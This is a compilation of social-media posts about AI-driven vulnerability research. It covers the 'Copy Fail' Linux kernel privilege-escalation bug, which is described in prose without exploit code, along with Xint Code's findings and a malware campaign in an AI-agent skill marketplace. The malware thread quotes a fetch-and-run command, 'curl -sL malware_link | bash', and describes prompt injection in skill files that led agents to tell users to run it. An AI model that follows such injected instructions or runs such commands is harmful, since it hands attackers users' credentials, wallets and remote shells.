Hey everyone. We’ve seen the discussions around Copy Fail (CVE-2026-31431) and the disclosure process. We appreciate the passion from distro maintainers, defenders, and the broader Linux community. This is a serious issue, and we want to share some context on our side in good faith. 🧵
So an AI just broke Linux and the story is actually insane:
• theori is a 9-time DEF CON CTF champion security firm, the kind of people who hack competitions for fun and win every time
• they point their AI system, Xint Code, at the linux kernel's crypto subsystem like it's a saturday puzzle
• one operator prompt. one hour. no custom tooling. no harnessing. nothing.
• the AI finds a bug that has been sitting quietly in every linux distribution since 2017
• ubuntu, amazon linux, rhel, suse, debian, arch, fedora. all of them. nine years of kernel security review. missed.
• the exploit is a 732-byte python script. no race window to win, no per-kernel offset to calculate, no luck required
• same script. every distro. root shell. every single time.
• crypto reviewers missed it for nine years because they were looking for cryptography failures. this wasn't one. it was a memory question. different discipline entirely. the AI didn't care.
• oh and it's also a container escape. one pod in a kubernetes cluster runs this script and owns the entire host and every tenant on it
• zerodium used to pay up to $500,000 for exactly this class of vulnerability
Patch your Linux boxes!
https://t.co/VWOUDbLAn2 is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms.
Found by the teams at @theori_io and @xint_official
More details below
https://t.co/9f6T96PvPX
‼️🚨 BREAKING: An AI found a Linux kernel zero-day that roots every distribution since 2017. The exploit fits in 732 bytes of Python. Patch your kernel ASAP.
The vulnerability is CVE-2026-31431, nicknamed "Copy Fail," disclosed today by Theori. It has been sitting quietly in the Linux kernel for nine years.
Most Linux privilege-escalation bugs are picky. They need a precise timing window (a "race"), or specific kernel addresses leaked from somewhere, or careful tuning per distribution. Copy Fail needs none of that. It is a straight-line logic mistake that works on the first try, every time, on every mainstream Linux box.
The attacker just needs a normal user account on the machine. From there, the script asks the kernel to do some encryption work, abuses how that work is wired up, and ends up writing 4 bytes into a memory area called the "page cache" (Linux's high-speed copy of files in RAM). Those 4 bytes can be aimed at any program the system trusts, like /usr/bin/su, the shortcut to becoming root.
Result: the next time anyone runs that program, it lets the attacker in as root.
What should worry most: the corruption never touches the file on disk. It only exists in Linux's in-memory copy of that file. If you imaged the hard drive afterwards, the on-disk file would match the official package hash exactly. Reboot the machine, or just put it under memory pressure (any normal system load that needs the RAM), and the cached copy reloads fresh from disk.
Containers do not help either. The page cache is shared across the whole host, so a process inside a container can use this bug to compromise the underlying server and reach into other tenants.
The original sin was a 2017 "in-place optimization" in a kernel crypto module called algif_aead. It was meant to make encryption slightly faster. The change broke a critical safety assumption, and nobody noticed for nine years. That bug then rode every kernel update from 2017 to today.
This vulnerability affects the following:
🔴 Shared servers (dev boxes, jump hosts, build servers): any user becomes root
🔴 Kubernetes and container clusters: one compromised pod escapes to the host
🔴 CI runners (GitHub Actions, GitLab, Jenkins): a malicious pull request becomes root on the runner
🔴 Cloud platforms running user code (notebooks, agent sandboxes, serverless functions): a tenant becomes host root
Timeline:
🔴 March 23, 2026: reported to the Linux kernel security team
🔴 April 1: patch committed to mainline (commit a664bf3d603d)
🔴 April 22: CVE assigned
🔴 April 29: public disclosure
Mitigation: update your kernel to a build that includes mainline commit a664bf3d603d. If you cannot patch immediately, turn off the vulnerable module:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null || true
For environments that run untrusted code (containers, sandboxes, CI runners), block access to the kernel's AF_ALG crypto interface entirely, even after patching. Almost nothing legitimate needs it, and blocking it shuts the door on this whole class of bug...
A single bit was all it took.
We successfully exploited the kernelCTF LTS kernel with a novel 1-bit flip attack against a 15-year-old vulnerability.
It affects the latest versions of all major distributions, including Android, Ubuntu, Debian, Red Hat, CentOS, and Fedora.
Anthropic is (rightfully) generating a lot of attention for Mythos’s ability to find 0days, BUT the hard problem is not whether an LLM can recognize a bug when pointed at it; it is whether a system can find the right code to examine across a 9-million-line codebase, distinguish the one real vulnerability from the hundreds of theoretical weaknesses the model will flag along the way, and deliver output a developer can act on without wasting a week on false positives.
This is something Xint has been doing since our wins at AIxCC and #ZeroDayCloud last year. We wanted to see if using publicly available models with the right scaffolding would reach the same performance as the latest limited-release frontier model under **real world conditions**
In this research paper not only did we find all the same bugs highlighted in Anthropic’s report, but found an additional 12 mid- to high-severity vulnerabilities not included in their public disclosures.
Check out the full report here:
https://t.co/N0SfoyvMpk
Naturally, the first thing we did was run it through Xint Code. Unsurprisingly, the vibe-coded app has quite a few vulnerabilities surfaced within minutes, including vuln101-level bugs (e.g. `.includes()` instead of `.startsWith()`).
I guess @AnthropicAI wasn't kidding when they said "90% of the code written at Anthropic is written by Claude."
What I'm really curious about is where Anthropic draws the security boundary. Claude Code asks whether you trust the workspace at the very start, and you basically can't use the tool unless you consent. From that point on, all responsibility shifts to the user.
Consent once, and running Claude on a directory becomes a 0-click RCE vector in multiple ways. So maybe these aren't considered security vulnerabilities as far as they're concerned…?
It's official: Xint Code - the same technology that has won some of the most prestigious hacking competitions in the world - is now commercially available.
https://t.co/V9e080OKV2
Xint Code found a 0-click kernel memory corruption bug, likely weaponizable as wormable RCE, affecting many Android phones, including Pixels.
We reported this in February, along with 10 other high+ severity bugs, but are waiting for a patch to ship before sharing more details.
I don't have any opinion on using LLMs in CTFs. It’s just the way the world is going.
The sad thing is, I feel like it's robbing people of opportunities to learn. Of course, you can play CTFs without LLMs, but doing so may cost you your chance to win, or qualify for the finals.
the #1 most downloaded skill on OpenClaw marketplace was MALWARE
it stole your SSH keys, crypto wallets, browser cookies, and opened a reverse shell to the attackers server
1,184 malicious skills found, one attacker uploaded 677 packages ALONE
OpenClaw has a skill marketplace called ClawHub where anyone can upload plugins
you install a skill, your AI agent gets new powers, this sounds great
the problem? ClawHub let ANYONE publish with just a 1 week old github account
attackers uploaded skills disguised as crypto trading bots, youtube summarizers, wallet trackers. the documentation looked PROFESSIONAL
but hidden in the https://t.co/akQxEk9lrb file were instructions that tricked the AI into telling you to run a command
> to enable this feature please run: curl -sL malware_link | bash
that one command installed Atomic Stealer on macOS
it grabbed your browser passwords, SSH keys, Telegram sessions, crypto wallets, keychains, and every API key in your .env files
on other systems it opened a REVERSE SHELL giving the attacker full remote control of your machine
Cisco scanned the #1 ranked skill on ClawHub. it was called What Would Elon Do and had 9 security vulnerabilities, 2 CRITICAL. it silently exfiltrated data AND used prompt injection to bypass safety guidelines, downloaded THOUSANDS of times. the ranking was gamed to reach #1
this is npm supply chain attacks all over again except the package can THINK and has root access to your life
🔥 AI model merging that actually works in the real world.
Research by Sanghyeon Park at Theori has been accepted at ACM/SIGAPP SAC 2026, one of the most respected international conferences in computer science and AI.
The work presents a stable approach to model merging in unreliable, high-latency environments—and is now applied to αprism, Theori’s LLM security solution.
📍 SAC 2026 · Mar 23–27 · Thessaloniki, Greece
https://t.co/fjMqgcDl1R